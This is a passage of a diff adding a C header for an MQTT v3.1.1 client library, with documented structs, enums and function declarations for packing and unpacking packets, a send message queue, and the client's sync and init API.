* + * @param[in] error the error code. + * + * @returns The associated error message. + */ +const char *mqtt_error_str(enum MQTTErrors error); + +/** + * @brief Pack a MQTT 16 bit integer, given a native 16 bit integer . + * + * @param[out] buf the buffer that the MQTT integer will be written to. + * @param[in] integer the native integer to be written to \p buf. + * + * @warning This function provides no error checking. + * + * @returns 2 +*/ +ssize_t __mqtt_pack_uint16(uint8_t *buf, uint16_t integer); + +/** + * @brief Unpack a MQTT 16 bit integer to a native 16 bit integer. + * + * @param[in] buf the buffer that the MQTT integer will be read from. + * + * @warning This function provides no error checking and does not modify \p buf. + * + * @returns The native integer +*/ +uint16_t __mqtt_unpack_uint16(const uint8_t *buf); + +/** + * @brief Pack a MQTT string, given a c-string \p str. + * + * @param[out] buf the buffer that the MQTT string will be written to. + * @param[in] str the c-string to be written to \p buf. + * + * @warning This function provides no error checking. + * + * @returns strlen(str) + 2 +*/ +ssize_t __mqtt_pack_str(uint8_t *buf, const char *str); + +/** @brief A macro to get the MQTT string length from a c-string. */ +#define __mqtt_packed_cstrlen(x) (2 + (unsigned int)strlen(x)) + +/* RESPONSES */ + +/** + * @brief An enumeration of the return codes returned in a CONNACK packet. + * @ingroup unpackers + * + * @see + * MQTT v3.1.1: CONNACK return codes. + * + */ +enum MQTTConnackReturnCode { + MQTT_CONNACK_ACCEPTED = 0u, + MQTT_CONNACK_REFUSED_PROTOCOL_VERSION = 1u, + MQTT_CONNACK_REFUSED_IDENTIFIER_REJECTED = 2u, + MQTT_CONNACK_REFUSED_SERVER_UNAVAILABLE = 3u, + MQTT_CONNACK_REFUSED_BAD_USER_NAME_OR_PASSWORD = 4u, + MQTT_CONNACK_REFUSED_NOT_AUTHORIZED = 5u +}; + +/** + * @brief A connection response datastructure. + * @ingroup unpackers + * + * @see + * MQTT v3.1.1: CONNACK - Acknowledgement connection response. + * + */ +struct mqtt_response_connack { + /** + * @brief Allows client and broker to check if they have a consistent view about whether there is + * already a stored session state. + */ + uint8_t session_present_flag; + + /** + * @brief The return code of the connection request. + * + * @see MQTTConnackReturnCode + */ + enum MQTTConnackReturnCode return_code; +}; + +/** + * @brief A publish packet received from the broker. + * @ingroup unpackers + * + * A publish packet is received from the broker when a client publishes to a topic that the + * \em {local client} is subscribed to. + * + * @see + * MQTT v3.1.1: PUBLISH - Publish Message. + * + */ +struct mqtt_response_publish { + /** + * @brief The DUP flag. DUP flag is 0 if its the first attempt to send this publish packet. A DUP flag + * of 1 means that this might be a re-delivery of the packet. + */ + uint8_t dup_flag; + + /** + * @brief The quality of service level. + * + * @see + * MQTT v3.1.1: QoS Definitions + * + */ + uint8_t qos_level; + + /** @brief The retain flag of this publish message. */ + uint8_t retain_flag; + + /** @brief Size of the topic name (number of characters). */ + uint16_t topic_name_size; + + /** + * @brief The topic name. + * @note topic_name is not null terminated. Therefore topic_name_size must be used to get the + * string length. + */ + const void *topic_name; + + /** @brief The publish message's packet ID. */ + uint16_t packet_id; + + /** @brief The publish message's application message.*/ + const void *application_message; + + /** @brief The size of the application message in bytes. */ + size_t application_message_size; +}; + +/** + * @brief A publish acknowledgement for messages that were published with QoS level 1. + * @ingroup unpackers + * + * @see + * MQTT v3.1.1: PUBACK - Publish Acknowledgement. + * + * + */ +struct mqtt_response_puback { + /** @brief The published messages packet ID. */ + uint16_t packet_id; +}; + +/** + * @brief The response packet to a PUBLISH packet with QoS level 2. + * @ingroup unpackers + * + * @see + * MQTT v3.1.1: PUBREC - Publish Received. + * + * + */ +struct mqtt_response_pubrec { + /** @brief The published messages packet ID. */ + uint16_t packet_id; +}; + +/** + * @brief The response to a PUBREC packet. + * @ingroup unpackers + * + * @see + * MQTT v3.1.1: PUBREL - Publish Release. + * + * + */ +struct mqtt_response_pubrel { + /** @brief The published messages packet ID. */ + uint16_t packet_id; +}; + +/** + * @brief The response to a PUBREL packet. + * @ingroup unpackers + * + * @see + * MQTT v3.1.1: PUBCOMP - Publish Complete. + * + * + */ +struct mqtt_response_pubcomp { + /** T@brief he published messages packet ID. */ + uint16_t packet_id; +}; + +/** + * @brief An enumeration of subscription acknowledgement return codes. + * @ingroup unpackers + * + * @see + * MQTT v3.1.1: SUBACK Return Codes. + * + */ +enum MQTTSubackReturnCodes { + MQTT_SUBACK_SUCCESS_MAX_QOS_0 = 0u, + MQTT_SUBACK_SUCCESS_MAX_QOS_1 = 1u, + MQTT_SUBACK_SUCCESS_MAX_QOS_2 = 2u, + MQTT_SUBACK_FAILURE = 128u +}; + +/** + * @brief The response to a subscription request. + * @ingroup unpackers + * + * @see + * MQTT v3.1.1: SUBACK - Subscription Acknowledgement. + * + */ +struct mqtt_response_suback { + /** @brief The published messages packet ID. */ + uint16_t packet_id; + + /** + * Array of return codes corresponding to the requested subscribe topics. + * + * @see MQTTSubackReturnCodes + */ + const uint8_t *return_codes; + + /** The number of return codes. */ + size_t num_return_codes; +}; + +/** + * @brief The brokers response to a UNSUBSCRIBE request. + * @ingroup unpackers + * + * @see + * MQTT v3.1.1: UNSUBACK - Unsubscribe Acknowledgement. + * + */ +struct mqtt_response_unsuback { + /** @brief The published messages packet ID. */ + uint16_t packet_id; +}; + +/** + * @brief The response to a ping request. + * @ingroup unpackers + * + * @note This response contains no members. + * + * @see + * MQTT v3.1.1: PINGRESP - Ping Response. + * + */ +struct mqtt_response_pingresp { + int dummy; +}; + +/** + * @brief A struct used to deserialize/interpret an incoming packet from the broker. + * @ingroup unpackers + */ +struct mqtt_response { + /** @brief The mqtt_fixed_header of the deserialized packet. */ + struct mqtt_fixed_header fixed_header; + + /** + * @brief A union of the possible responses from the broker. + * + * @note The fixed_header contains the control type. This control type corresponds to the + * member of this union that should be accessed. For example if + * fixed_header#control_type == \c MQTT_CONTROL_PUBLISH then + * decoded#publish should be accessed. + */ + union { + struct mqtt_response_connack connack; + struct mqtt_response_publish publish; + struct mqtt_response_puback puback; + struct mqtt_response_pubrec pubrec; + struct mqtt_response_pubrel pubrel; + struct mqtt_response_pubcomp pubcomp; + struct mqtt_response_suback suback; + struct mqtt_response_unsuback unsuback; + struct mqtt_response_pingresp pingresp; + } decoded; +}; + +/** + * @brief Deserialize the contents of \p buf into an mqtt_fixed_header object. + * @ingroup unpackers + * + * @note This function performs complete error checking and a positive return value + * means the entire mqtt_response can be deserialized from \p buf. + * + * @param[out] response the response who's \ref mqtt_response.fixed_header will be initialized. + * @param[in] buf the buffer. + * @param[in] bufsz the total number of bytes in the buffer. + * + * @returns The number of bytes that were consumed, or 0 if the buffer does not contain enough + * bytes to parse the packet, or a negative value if there was a protocol violation. + */ +ssize_t mqtt_unpack_fixed_header(struct mqtt_response *response, const uint8_t *buf, size_t bufsz); + +/** + * @brief Deserialize a CONNACK response from \p buf. + * @ingroup unpackers + * + * @pre \ref mqtt_unpack_fixed_header must have returned a positive value and the control packet type + * must be \c MQTT_CONTROL_CONNACK. + * + * @param[out] mqtt_response the mqtt_response that will be initialized. + * @param[in] buf the buffer that contains the variable header and payload of the packet. The + * first byte of \p buf should be the first byte of the variable header. + * + * @relates mqtt_response_connack + * + * @returns The number of bytes that were consumed, or 0 if the buffer does not contain enough + * bytes to parse the packet, or a negative value if there was a protocol violation. + */ +ssize_t mqtt_unpack_connack_response(struct mqtt_response *mqtt_response, const uint8_t *buf); + +/** + * @brief Deserialize a publish response from \p buf. + * @ingroup unpackers + * + * @pre \ref mqtt_unpack_fixed_header must have returned a positive value and the mqtt_response must + * have a control type of \c MQTT_CONTROL_PUBLISH. + * + * @param[out] mqtt_response the response that is initialized from the contents of \p buf. + * @param[in] buf the buffer with the incoming data. + * + * @relates mqtt_response_publish + * + * @returns The number of bytes that were consumed, or 0 if the buffer does not contain enough + * bytes to parse the packet, or a negative value if there was a protocol violation. + */ +ssize_t mqtt_unpack_publish_response(struct mqtt_response *mqtt_response, const uint8_t *buf); + +/** + * @brief Deserialize a PUBACK/PUBREC/PUBREL/PUBCOMP packet from \p buf. + * @ingroup unpackers + * + * @pre \ref mqtt_unpack_fixed_header must have returned a positive value and the mqtt_response must + * have a control type of \c MQTT_CONTROL_PUBACK, \c MQTT_CONTROL_PUBREC, \c MQTT_CONTROL_PUBREL + * or \c MQTT_CONTROL_PUBCOMP. + * + * @param[out] mqtt_response the response that is initialized from the contents of \p buf. + * @param[in] buf the buffer with the incoming data. + * + * @relates mqtt_response_puback mqtt_response_pubrec mqtt_response_pubrel mqtt_response_pubcomp + * + * @returns The number of bytes that were consumed, or 0 if the buffer does not contain enough + * bytes to parse the packet, or a negative value if there was a protocol violation. + */ +ssize_t mqtt_unpack_pubxxx_response(struct mqtt_response *mqtt_response, const uint8_t *buf); + +/** + * @brief Deserialize a SUBACK packet from \p buf. + * @ingroup unpacker + * + * @pre \ref mqtt_unpack_fixed_header must have returned a positive value and the mqtt_response must + * have a control type of \c MQTT_CONTROL_SUBACK. + * + * @param[out] mqtt_response the response that is initialized from the contents of \p buf. + * @param[in] buf the buffer with the incoming data. + * + * @relates mqtt_response_suback + * + * @returns The number of bytes that were consumed, or 0 if the buffer does not contain enough + * bytes to parse the packet, or a negative value if there was a protocol violation. + */ +ssize_t mqtt_unpack_suback_response(struct mqtt_response *mqtt_response, const uint8_t *buf); + +/** + * @brief Deserialize an UNSUBACK packet from \p buf. + * @ingroup unpacker + * + * @pre \ref mqtt_unpack_fixed_header must have returned a positive value and the mqtt_response must + * have a control type of \c MQTT_CONTROL_UNSUBACK. + * + * @param[out] mqtt_response the response that is initialized from the contents of \p buf. + * @param[in] buf the buffer with the incoming data. + * + * @relates mqtt_response_unsuback + * + * @returns The number of bytes that were consumed, or 0 if the buffer does not contain enough + * bytes to parse the packet, or a negative value if there was a protocol violation. + */ +ssize_t mqtt_unpack_unsuback_response(struct mqtt_response *mqtt_response, const uint8_t *buf); + +/** + * @brief Deserialize a packet from the broker. + * @ingroup unpackers + * + * @param[out] response the mqtt_response that will be initialize from \p buf. + * @param[in] buf the incoming data buffer. + * @param[in] bufsz the number of bytes available in the buffer. + * + * @relates mqtt_response + * + * @returns The number of bytes consumed on success, zero \p buf does not contain enough bytes + * to deserialize the packet, a negative value if a protocol violation was encountered. + */ +ssize_t mqtt_unpack_response(struct mqtt_response *response, const uint8_t *buf, size_t bufsz); + +/* REQUESTS */ + +/** +* @brief Serialize an mqtt_fixed_header and write it to \p buf. +* @ingroup packers +* +* @note This function performs complete error checking and a positive return value +* guarantees the entire packet will fit into the given buffer. +* +* @param[out] buf the buffer to write to. +* @param[in] bufsz the maximum number of bytes that can be put in to \p buf. +* @param[in] fixed_header the fixed header that will be serialized. +* +* @returns The number of bytes written to \p buf, or 0 if \p buf is too small, or a +* negative value if there was a protocol violation. +*/ +ssize_t mqtt_pack_fixed_header(uint8_t *buf, size_t bufsz, const struct mqtt_fixed_header *fixed_header); + +/** + * @brief An enumeration of CONNECT packet flags. + * @ingroup packers + * + * @see + * MQTT v3.1.1: CONNECT Variable Header. + * + */ +enum MQTTConnectFlags { + MQTT_CONNECT_RESERVED = 1u, + MQTT_CONNECT_CLEAN_SESSION = 2u, + MQTT_CONNECT_WILL_FLAG = 4u, + MQTT_CONNECT_WILL_QOS_0 = (0u & 0x03) << 3, + MQTT_CONNECT_WILL_QOS_1 = (1u & 0x03) << 3, + MQTT_CONNECT_WILL_QOS_2 = (2u & 0x03) << 3, + MQTT_CONNECT_WILL_RETAIN = 32u, + MQTT_CONNECT_PASSWORD = 64u, + MQTT_CONNECT_USER_NAME = 128u +}; + +/** + * @brief Serialize a connection request into a buffer. + * @ingroup packers + * + * @param[out] buf the buffer to pack the connection request packet into. + * @param[in] bufsz the number of bytes left in \p buf. + * @param[in] client_id the ID that identifies the local client. \p client_id can be NULL or an empty + * string for Anonymous clients. + * @param[in] will_topic the topic under which the local client's will message will be published. + * Set to \c NULL for no will message. If \p will_topic is not \c NULL a + * \p will_message must also be provided. + * @param[in] will_message the will message to be published upon a unsuccessful disconnection of + * the local client. Set to \c NULL if \p will_topic is \c NULL. + * \p will_message must \em not be \c NULL if \p will_topic is not + * \c NULL. + * @param[in] will_message_size The size of \p will_message in bytes. + * @param[in] user_name the username to be used to connect to the broker with. Set to \c NULL if + * no username is required. + * @param[in] password the password to be used to connect to the broker with. Set to \c NULL if + * no password is required. + * @param[in] connect_flags additional MQTTConnectFlags to be set. The only flags that need to be + * set manually are \c MQTT_CONNECT_CLEAN_SESSION, + * \c MQTT_CONNECT_WILL_QOS_X (for \c X ∈ {0, 1, 2}), and + * \c MQTT_CONNECT_WILL_RETAIN. Set to 0 if no additional flags are + * required. + * @param[in] keep_alive the keep alive time in seconds. It is the responsibility of the clinet + * to ensure packets are sent to the server \em {at least} this frequently. + * + * @note If there is a \p will_topic and no additional \p connect_flags are given, then by + * default \p will_message will be published at QoS level 0. + * + * @see + * MQTT v3.1.1: CONNECT - Client Requests a Connection to a Server. + * + * + * @returns The number of bytes put into \p buf, 0 if \p buf is too small to fit the CONNECT + * packet, a negative value if there was a protocol violation. + */ +ssize_t mqtt_pack_connection_request(uint8_t *buf, size_t bufsz, + const char *client_id, + const char *will_topic, + const void *will_message, + size_t will_message_size, + const char *user_name, + const char *password, + uint8_t connect_flags, + uint16_t keep_alive); + +/** + * @brief An enumeration of the PUBLISH flags. + * @ingroup packers + * + * @see + * MQTT v3.1.1: PUBLISH - Publish Message. + * + */ +enum MQTTPublishFlags { + MQTT_PUBLISH_DUP = 8u, + MQTT_PUBLISH_QOS_0 = ((0u << 1) & 0x06), + MQTT_PUBLISH_QOS_1 = ((1u << 1) & 0x06), + MQTT_PUBLISH_QOS_2 = ((2u << 1) & 0x06), + MQTT_PUBLISH_QOS_MASK = ((3u << 1) & 0x06), + MQTT_PUBLISH_RETAIN = 0x01 +}; + +/** + * @brief Serialize a PUBLISH request and put it in \p buf. + * @ingroup packers + * + * @param[out] buf the buffer to put the PUBLISH packet in. + * @param[in] bufsz the maximum number of bytes that can be put into \p buf. + * @param[in] topic_name the topic to publish \p application_message under. + * @param[in] packet_id this packets packet ID. + * @param[in] application_message the application message to be published. + * @param[in] application_message_size the size of \p application_message in bytes. + * @param[in] publish_flags The flags to publish \p application_message with. These include + * the \c MQTT_PUBLISH_DUP flag, \c MQTT_PUBLISH_QOS_X (\c X ∈ + * {0, 1, 2}), and \c MQTT_PUBLISH_RETAIN flag. + * + * @note The default QoS is level 0. + * + * @see + * MQTT v3.1.1: PUBLISH - Publish Message. + * + * + * @returns The number of bytes put into \p buf, 0 if \p buf is too small to fit the PUBLISH + * packet, a negative value if there was a protocol violation. + */ +ssize_t mqtt_pack_publish_request(uint8_t *buf, size_t bufsz, + const char *topic_name, + uint16_t packet_id, + const void *application_message, + size_t application_message_size, + uint8_t publish_flags); + +/** + * @brief Serialize a PUBACK, PUBREC, PUBREL, or PUBCOMP packet and put it in \p buf. + * @ingroup packers + * + * @param[out] buf the buffer to put the PUBXXX packet in. + * @param[in] bufsz the maximum number of bytes that can be put into \p buf. + * @param[in] control_type the type of packet. Must be one of: \c MQTT_CONTROL_PUBACK, + * \c MQTT_CONTROL_PUBREC, \c MQTT_CONTROL_PUBREL, + * or \c MQTT_CONTROL_PUBCOMP. + * @param[in] packet_id the packet ID of the packet being acknowledged. + * + * + * @see + * MQTT v3.1.1: PUBACK - Publish Acknowledgement. + * + * @see + * MQTT v3.1.1: PUBREC - Publish Received. + * + * @see + * MQTT v3.1.1: PUBREL - Publish Released. + * + * @see + * MQTT v3.1.1: PUBCOMP - Publish Complete. + * + * + * @returns The number of bytes put into \p buf, 0 if \p buf is too small to fit the PUBXXX + * packet, a negative value if there was a protocol violation. + */ +ssize_t mqtt_pack_pubxxx_request(uint8_t *buf, size_t bufsz, + enum MQTTControlPacketType control_type, + uint16_t packet_id); + +/** + * @brief The maximum number topics that can be subscribed to in a single call to + * mqtt_pack_subscribe_request. + * @ingroup packers + * + * @see mqtt_pack_subscribe_request + */ +#define MQTT_SUBSCRIBE_REQUEST_MAX_NUM_TOPICS 8 + +/** + * @brief Serialize a SUBSCRIBE packet and put it in \p buf. + * @ingroup packers + * + * @param[out] buf the buffer to put the SUBSCRIBE packet in. + * @param[in] bufsz the maximum number of bytes that can be put into \p buf. + * @param[in] packet_id the packet ID to be used. + * @param[in] ... \c NULL terminated list of (\c {const char *topic_name}, \c {int max_qos_level}) + * pairs. + * + * @note The variadic arguments, \p ..., \em must be followed by a \c NULL. For example: + * @code + * ssize_t n = mqtt_pack_subscribe_request(buf, bufsz, 1234, "topic_1", 0, "topic_2", 2, NULL); + * @endcode + * + * @see + * MQTT v3.1.1: SUBSCRIBE - Subscribe to Topics. + * + * + * @returns The number of bytes put into \p buf, 0 if \p buf is too small to fit the SUBSCRIBE + * packet, a negative value if there was a protocol violation. + */ +ssize_t mqtt_pack_subscribe_request(uint8_t *buf, size_t bufsz, + unsigned int packet_id, + ...); /* null terminated */ + +/** + * @brief The maximum number topics that can be subscribed to in a single call to + * mqtt_pack_unsubscribe_request. + * @ingroup packers + * + * @see mqtt_pack_unsubscribe_request + */ +#define MQTT_UNSUBSCRIBE_REQUEST_MAX_NUM_TOPICS 8 + +/** + * @brief Serialize a UNSUBSCRIBE packet and put it in \p buf. + * @ingroup packers + * + * @param[out] buf the buffer to put the UNSUBSCRIBE packet in. + * @param[in] bufsz the maximum number of bytes that can be put into \p buf. + * @param[in] packet_id the packet ID to be used. + * @param[in] ... \c NULL terminated list of \c {const char *topic_name}'s to unsubscribe from. + * + * @note The variadic arguments, \p ..., \em must be followed by a \c NULL. For example: + * @code + * ssize_t n = mqtt_pack_unsubscribe_request(buf, bufsz, 4321, "topic_1", "topic_2", NULL); + * @endcode + * + * @see + * MQTT v3.1.1: UNSUBSCRIBE - Unsubscribe from Topics. + * + * + * @returns The number of bytes put into \p buf, 0 if \p buf is too small to fit the UNSUBSCRIBE + * packet, a negative value if there was a protocol violation. + */ +ssize_t mqtt_pack_unsubscribe_request(uint8_t *buf, size_t bufsz, + unsigned int packet_id, + ...); /* null terminated */ + +/** + * @brief Serialize a PINGREQ and put it into \p buf. + * @ingroup packers + * + * @param[out] buf the buffer to put the PINGREQ packet in. + * @param[in] bufsz the maximum number of bytes that can be put into \p buf. + * + * @see + * MQTT v3.1.1: PINGREQ - Ping Request. + * + * + * @returns The number of bytes put into \p buf, 0 if \p buf is too small to fit the PINGREQ + * packet, a negative value if there was a protocol violation. + */ +ssize_t mqtt_pack_ping_request(uint8_t *buf, size_t bufsz); + +/** + * @brief Serialize a DISCONNECT and put it into \p buf. + * @ingroup packers + * + * @param[out] buf the buffer to put the DISCONNECT packet in. + * @param[in] bufsz the maximum number of bytes that can be put into \p buf. + * + * @see + * MQTT v3.1.1: DISCONNECT - Disconnect Notification. + * + * + * @returns The number of bytes put into \p buf, 0 if \p buf is too small to fit the DISCONNECT + * packet, a negative value if there was a protocol violation. + */ +ssize_t mqtt_pack_disconnect(uint8_t *buf, size_t bufsz); + + +/** + * @brief An enumeration of queued message states. + * @ingroup details + */ +enum MQTTQueuedMessageState { + MQTT_QUEUED_UNSENT, + MQTT_QUEUED_AWAITING_ACK, + MQTT_QUEUED_COMPLETE +}; + +/** + * @brief A message in a mqtt_message_queue. + * @ingroup details + */ +struct mqtt_queued_message { + /** @brief A pointer to the start of the message. */ + uint8_t *start; + + /** @brief The number of bytes in the message. */ + size_t size; + + + /** @brief The state of the message. */ + enum MQTTQueuedMessageState state; + + /** + * @brief The time at which the message was sent.. + * + * @note A timeout will only occur if the message is in + * the MQTT_QUEUED_AWAITING_ACK \c state. + */ + mqtt_pal_time_t time_sent; + + /** + * @brief The control type of the message. + */ + enum MQTTControlPacketType control_type; + + /** + * @brief The packet id of the message. + * + * @note This field is only used if the associate \c control_type has a + * \c packet_id field. + */ + uint16_t packet_id; +}; + +/** + * @brief A message queue. + * @ingroup details + * + * @note This struct is used internally to manage sending messages. + * @note The only members the user should use are \c curr and \c curr_sz. + */ +struct mqtt_message_queue { + /** + * @brief The start of the message queue's memory block. + * + * @warning This member should \em not be manually changed. + */ + void *mem_start; + + /** @brief The end of the message queue's memory block. */ + void *mem_end; + + /** + * @brief A pointer to the position in the buffer you can pack bytes at. + * + * @note Immediately after packing bytes at \c curr you \em must call + * mqtt_mq_register. + */ + uint8_t *curr; + + /** + * @brief The number of bytes that can be written to \c curr. + * + * @note curr_sz will decrease by more than the number of bytes you write to + * \c curr. This is because the mqtt_queued_message structs share the + * same memory (and thus, a mqtt_queued_message must be allocated in + * the message queue's memory whenever a new message is registered). + */ + size_t curr_sz; + + /** + * @brief The tail of the array of mqtt_queued_messages's. + * + * @note This member should not be used manually. + */ + struct mqtt_queued_message *queue_tail; +}; + +/** + * @brief Initialize a message queue. + * @ingroup details + * + * @param[out] mq The message queue to initialize. + * @param[in] buf The buffer for this message queue. + * @param[in] bufsz The number of bytes in the buffer. + * + * @relates mqtt_message_queue + */ +void mqtt_mq_init(struct mqtt_message_queue *mq, void *buf, size_t bufsz); + +/** + * @brief Clear as many messages from the front of the queue as possible. + * @ingroup details + * + * @note Calls to this function are the \em only way to remove messages from the queue. + * + * @param mq The message queue. + * + * @relates mqtt_message_queue + */ +void mqtt_mq_clean(struct mqtt_message_queue *mq); + +/** + * @brief Register a message that was just added to the buffer. + * @ingroup details + * + * @note This function should be called immediately following a call to a packer function + * that returned a positive value. The positive value (number of bytes packed) should + * be passed to this function. + * + * @param mq The message queue. + * @param[in] nbytes The number of bytes that were just packed. + * + * @note This function will step mqtt_message_queue::curr and update mqtt_message_queue::curr_sz. + * @relates mqtt_message_queue + * + * @returns The newly added struct mqtt_queued_message. + */ +struct mqtt_queued_message *mqtt_mq_register(struct mqtt_message_queue *mq, size_t nbytes); + +/** + * @brief Find a message in the message queue. + * @ingroup details + * + * @param mq The message queue. + * @param[in] control_type The control type of the message you want to find. + * @param[in] packet_id The packet ID of the message you want to find. Set to \c NULL if you + * don't want to specify a packet ID. + * + * @relates mqtt_message_queue + * @returns The found message. \c NULL if the message was not found. + */ +struct mqtt_queued_message *mqtt_mq_find(const struct mqtt_message_queue *mq, enum MQTTControlPacketType control_type, const uint16_t *packet_id); + +/** + * @brief Returns the mqtt_queued_message at \p index. + * @ingroup details + * + * @param mq_ptr A pointer to the message queue. + * @param index The index of the message. + * + * @returns The mqtt_queued_message at \p index. + */ +#define mqtt_mq_get(mq_ptr, index) (((struct mqtt_queued_message*) ((mq_ptr)->mem_end)) - 1 - index) + +/** + * @brief Returns the number of messages in the message queue, \p mq_ptr. + * @ingroup details + */ +#define mqtt_mq_length(mq_ptr) (((struct mqtt_queued_message*) ((mq_ptr)->mem_end)) - (mq_ptr)->queue_tail) + +/** + * @brief Used internally to recalculate the \c curr_sz. + * @ingroup details + */ +#define mqtt_mq_currsz(mq_ptr) (((mq_ptr)->curr >= (uint8_t*) ((mq_ptr)->queue_tail - 1)) ? 0 : ((uint8_t*) ((mq_ptr)->queue_tail - 1)) - (mq_ptr)->curr) + +/* CLIENT */ + +/** + * @brief An MQTT client. + * @ingroup details + * + * @note All members can be manipulated via the related functions. + */ +struct mqtt_client { + /** @brief The socket connecting to the MQTT broker. */ + mqtt_pal_socket_handle socketfd; + + /** @brief The LFSR state used to generate packet ID's. */ + uint16_t pid_lfsr; + + /** @brief The keep-alive time in seconds. */ + uint16_t keep_alive; + + /** + * @brief A counter counting pings that have been sent to keep the connection alive. + * @see keep_alive + */ + int number_of_keep_alives; + + /** + * @brief The current sent offset. + * + * This is used to allow partial send commands. + */ + size_t send_offset; + + /** + * @brief The timestamp of the last message sent to the buffer. + * + * This is used to detect the need for keep-alive pings. + * + * @see keep_alive + */ + mqtt_pal_time_t time_of_last_send; + + /** + * @brief The error state of the client. + * + * error should be MQTT_OK for the entirety of the connection. + * + * @note The error state will be MQTT_ERROR_CONNECT_NOT_CALLED until + * you call mqtt_connect. + */ + enum MQTTErrors error; + + /** + * @brief The timeout period in seconds. + * + * If the broker doesn't return an ACK within response_timeout seconds a timeout + * will occur and the message will be retransmitted. + * + * @note The default value is 30 [seconds] but you can change it at any time. + */ + int response_timeout; + + /** @brief A counter counting the number of timeouts that have occurred. */ + int number_of_timeouts; + + /** + * @brief Approximately much time it has typically taken to receive responses from the + * broker. + * + * @note This is tracked using a exponential-averaging. + */ + float typical_response_time; + + /** + * @brief The callback that is called whenever a publish is received from the broker. + * + * Any topics that you have subscribed to will be returned from the broker as + * mqtt_response_publish messages. All the publishes received from the broker will + * be passed to this function. + * + * @note A pointer to publish_response_callback_state is always passed to the callback. + * Use publish_response_callback_state to keep track of any state information you + * need. + */ + void (*publish_response_callback)(void **state, struct mqtt_response_publish *publish); + + /** + * @brief A pointer to any publish_response_callback state information you need. + * + * @note A pointer to this pointer will always be publish_response_callback upon + * receiving a publish message from the broker. + */ + void *publish_response_callback_state; + + /** + * @brief A user-specified callback, triggered on each \ref mqtt_sync, allowing + * the user to perform state inspections (and custom socket error detection) + * on the client. + * + * This callback is triggered on each call to \ref mqtt_sync. If it returns MQTT_OK + * then \ref mqtt_sync will continue normally (performing reads and writes). If it + * returns an error then \ref mqtt_sync will not call reads and writes. + * + * This callback can be used to perform custom error detection, namely platform + * specific socket error detection, and force the client into an error state. + * + * This member is always initialized to NULL but it can be manually set at any + * time. + */ + enum MQTTErrors(*inspector_callback)(struct mqtt_client *); + + /** + * @brief A callback that is called whenever the client is in an error state. + * + * This callback is responsible for: application level error handling, closing + * previous sockets, and reestabilishing the connection to the broker and + * session configurations (i.e. subscriptions). + */ + void (*reconnect_callback)(struct mqtt_client *, void **); + + /** + * @brief A pointer to some state. A pointer to this member is passed to + * \ref mqtt_client.reconnect_callback. + */ + void *reconnect_state; + + /** + * @brief The buffer where ingress data is temporarily stored. + */ + struct { + /** @brief The start of the receive buffer's memory. */ + uint8_t *mem_start; + + /** @brief The size of the receive buffer's memory. */ + size_t mem_size; + + /** @brief A pointer to the next writable location in the receive buffer. */ + uint8_t *curr; + + /** @brief The number of bytes that are still writable at curr. */ + size_t curr_sz; + } recv_buffer; + + /** + * @brief A variable passed to support thread-safety. + * + * A pointer to this variable is passed to \c MQTT_PAL_MUTEX_LOCK, and + * \c MQTT_PAL_MUTEX_UNLOCK. + */ + mqtt_pal_mutex_t mutex; + + /** @brief The sending message queue. */ + struct mqtt_message_queue mq; +}; + +/** + * @brief Generate a new next packet ID. + * @ingroup details + * + * Packet ID's are generated using a max-length LFSR. + * + * @param client The MQTT client. + * + * @returns The new packet ID that should be used. + */ +uint16_t __mqtt_next_pid(struct mqtt_client *client); + +/** + * @brief Handles egress client traffic. + * @ingroup details + * + * @param client The MQTT client. + * + * @returns MQTT_OK upon success, an \ref MQTTErrors otherwise. + */ +ssize_t __mqtt_send(struct mqtt_client *client); + +/** + * @brief Handles ingress client traffic. + * @ingroup details + * + * @param client The MQTT client. + * + * @returns MQTT_OK upon success, an \ref MQTTErrors otherwise. + */ +ssize_t __mqtt_recv(struct mqtt_client *client); + +/** + * @brief Function that does the actual sending and receiving of + * traffic from the network. + * @ingroup api + * + * All the other functions in the @ref api simply stage messages for + * being sent to the broker. This function does the actual sending of + * those messages. Additionally this function receives traffic (responses and + * acknowledgements) from the broker and responds to that traffic accordingly. + * Lastly this function also calls the \c publish_response_callback when + * any \c MQTT_CONTROL_PUBLISH messages are received. + * + * @pre mqtt_init must have been called. + * + * @param[in,out] client The MQTT client. + * + * @attention It is the responsibility of the application programmer to + * call this function periodically. All functions in the @ref api are + * thread-safe so it is perfectly reasonable to have a thread dedicated + * to calling this function every 200 ms or so. MQTT-C can be used in single + * threaded application though by simply calling this functino periodically + * inside your main thread. See @ref simple_publisher.c and @ref simple_subscriber.c + * for examples (specifically the \c client_refresher functions). + * + * @returns MQTT_OK upon success, an \ref MQTTErrors otherwise. + */ +enum MQTTErrors mqtt_sync(struct mqtt_client *client); + +/** + * @brief Initializes an MQTT client. + * @ingroup api + * + * This function \em must be called before any other API function calls. + * + * @pre None. + * + * @param[out] client The MQTT client. + * @param[in] sockfd The socket file descriptor (or equivalent socket handle, e.g. BIO pointer + * for OpenSSL sockets) connected to the MQTT broker. + * @param[in] sendbuf A buffer that will be used for sending messages to the broker. + * @param[in] sendbufsz The size of \p sendbuf in bytes. + * @param[in] recvbuf A buffer that will be used for receiving messages from the broker. + * @param[in] recvbufsz The size of \p recvbuf in bytes. + * @param[in] publish_response_callback The callback to call whenever application messages + * are received from the broker. + * + * @post mqtt_connect must be called. + * + * @note \p sockfd is a non-blocking TCP connection. + * @note If \p sendbuf fills up completely during runtime a \c MQTT_ERROR_SEND_BUFFER_IS_FULL + * error will be set. Similarly if \p recvbuf is ever to small to receive a message from + * the broker an MQTT_ERROR_RECV_BUFFER_TOO_SMALL error will be set. + * @note A pointer to \ref mqtt_client.publish_response_callback_state is always passed as the + * \c state argument to \p publish_response_callback. Note that the second argument is + * the mqtt_response_publish that was received from the broker. + * + * @attention Only initialize an MQTT client once (i.e. don't call \ref mqtt_init or + * \ref mqtt_init_reconnect more than once per client). + * @attention \p sendbuf internally mapped to client's message-to-send queue that actively uses + * pointer access. In the case of unaligned \p sendbuf, that may lead to + * Segmentation/Hard/Memory Faults on systems that do not support unaligned pointer + * access (e.g. ARMv6, ARMv7-M). To avoid that, you may use the following technique: + * \code{.c} + * // example for ARMv7-M that requires pointers to be word aligned (4 byte boundary) + * static unsigned char mqtt_tx_buffer[MAX_TX_BUFFER_SIZE] __attribute__((aligned(4))); + * static unsigned char mqtt_rx_buffer[MAX_RX_BUFFER_SIZE]; + * // ... + * int main(void) { + * // ... + * mqtt_init(p_client, p_client->socketfd, mqtt_tx_buffer, sizeof mqtt_tx_buffer, mqtt_rx_buffer, + * sizeof mqtt_rx_buffer, message_callback); + * // ... + * } + * \endcode + * + * @returns \c MQTT_OK upon success, an \ref MQTTErrors otherwise. + */ +enum 